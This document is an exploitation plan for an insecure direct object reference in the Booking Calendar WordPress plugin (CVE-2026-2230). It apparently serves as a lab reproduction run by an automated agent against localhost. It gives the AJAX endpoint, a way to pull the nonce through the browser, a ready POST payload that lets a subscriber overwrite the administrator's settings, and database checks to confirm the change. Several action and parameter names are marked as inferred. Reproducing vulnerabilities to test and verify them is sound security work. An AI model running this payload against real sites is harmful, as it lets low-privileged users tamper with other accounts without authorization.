Booking Calendar <= 10.14.14 - Insecure Direct Object Reference to Authenticated (Subscriber+) Arbitrary User Settings Modification

This research plan outlines the steps to exploit CVE-2026-2230, an Insecure Direct Object Reference (IDOR) in the Booking Calendar plugin.

1. Vulnerability Summary

The Booking Calendar plugin (up to version 10.14.14) contains an IDOR vulnerability in the handle_ajax_save function. The function is designed to save user-specific plugin settings (like calendar display preferences) via AJAX. However, it fails to validate if the authenticated user has permission to modify settings for the specific user ID provided in the request. While it requires the attacker to have "booking permissions" (a setting configured by an administrator), once granted, a low-privileged user (Subscriber+) can modify the settings of any other user, including administrators.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: wpbc_ajax_save_settings (Inferred based on handle_ajax_save and plugin naming conventions).
• Vulnerable Parameter: user_id or uid (The "user-controlled key" mentioned in the description).
• Authentication: Authenticated (Subscriber-level or higher).
• Precondition: The administrator must have enabled "Booking Permissions" for the attacker's role in the plugin settings (Settings > General > "User Permissions" or "Who can see the booking system").

3. Code Flow (Inferred)

1. Entry Point: The plugin registers an AJAX action for wp_ajax_wpbc_ajax_save_settings (inferred) pointing to the handle_ajax_save method within a settings or AJAX handler class (likely in core/lib/wpbc-ajax.php or core/admin/wpbc-settings.php).
2. Authorization Check: The function checks if the current user has the general capability to manage bookings (e.g., current_user_can( 'booking_user_role' )).
3. Vulnerability: The function retrieves a user identifier from the request (e.g., $target_user_id = $_POST['user_id']).
4. Sink: It proceeds to call update_user_meta( $target_user_id, 'booking_settings_key', ... ) without verifying if $target_user_id matches the current user's ID or if the current user has manage_options (admin) privileges.

4. Nonce Acquisition Strategy

The Booking Calendar plugin typically enqueues global JS variables for authenticated users permitted to use the system.

1. Identify Trigger: The nonce and AJAX variables are usually enqueued on the "Bookings" management page or the "Settings" page.
2. Access Page: Log in as the Subscriber and navigate to the plugin's dashboard area (e.g., /wp-admin/admin.php?page=wpbc).
3. Extract Nonce: Use browser_eval to extract the nonce from the localized script object.
   • Inferred Variable: window.wpbc_global_vars
   • Inferred Key: nonce or ajax_nonce.
   • JS Command: browser_eval("window.wpbc_global_vars?.ajax_nonce")

5. Exploitation Strategy

The goal is to modify the settings of the Administrator (User ID 1) using the Subscriber's session.

Step 1: Discover Target Settings
Identify which settings keys are modified by handle_ajax_save. Common keys in this plugin relate to calendar view (e.g., booking_view_type, calendar_skin).

Step 2: Prepare the Payload

• Method: POST
• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Body (URL-encoded):
  • action: wpbc_ajax_save_settings (verify via grep)
  • nonce: [EXTRACTED_NONCE]
  • user_id: 1 (The target Admin ID)
  • settings_data[view_mode]: malicious_value (or any setting that disrupts display)

Step 3: Execute via http_request

{
  "method": "POST",
  "url": "http://localhost:8080/wp-admin/admin-ajax.php",
  "headers": {
    "Content-Type": "application/x-www-form-urlencoded"
  },
  "body": "action=wpbc_ajax_save_settings&nonce=NONCE_VALUE&user_id=1&settings_data[calendar_view_mode]=month_only"
}

6. Test Data Setup

1. Roles:
   • Admin user (admin).
   • Subscriber user (attacker).
2. Plugin Configuration:
   • As Admin, go to Booking > Settings.
   • Find the "User Permissions" section.
   • Enable the Subscriber role to "View Bookings" or "Manage Settings". This grants the PR:L requirement mentioned in the CVSS.
3. Target Metadata: Ensure the Admin user (ID 1) has some existing plugin settings that can be visibly modified.

7. Expected Results

• The AJAX request should return a success status (e.g., {"status":"success"} or 1).
• The user metadata for User ID 1 in the wp_usermeta table should be updated with the values provided by the Subscriber.
• When the Admin logs in, their Booking Calendar view will be changed/disrupted.

8. Verification Steps

1. Database Check: Use WP-CLI to inspect the Admin's user meta before and after the attack.
   • wp user meta get 1 wpbc_settings (The meta key name may vary; search wp_usermeta for keys containing wpbc).
2. UI Verification: Log in as Admin and verify if the Booking Calendar dashboard reflects the changes made by the attacker.

9. Alternative Approaches

• Blind Modification: If the specific meta key is unknown, grep the plugin source for update_user_meta calls within the handle_ajax_save function to find the exact key name.
• Parameter Name Variation: The IDOR might use uid, user_id, or id. Verify the exact parameter name by inspecting the handle_ajax_save function source code:

  grep -rn "function handle_ajax_save" wp-content/plugins/booking/
  

• Action Name Verification: Confirm the AJAX action name by searching for the add_action call:

  grep -rn "wp_ajax_.*handle_ajax_save" wp-content/plugins/booking/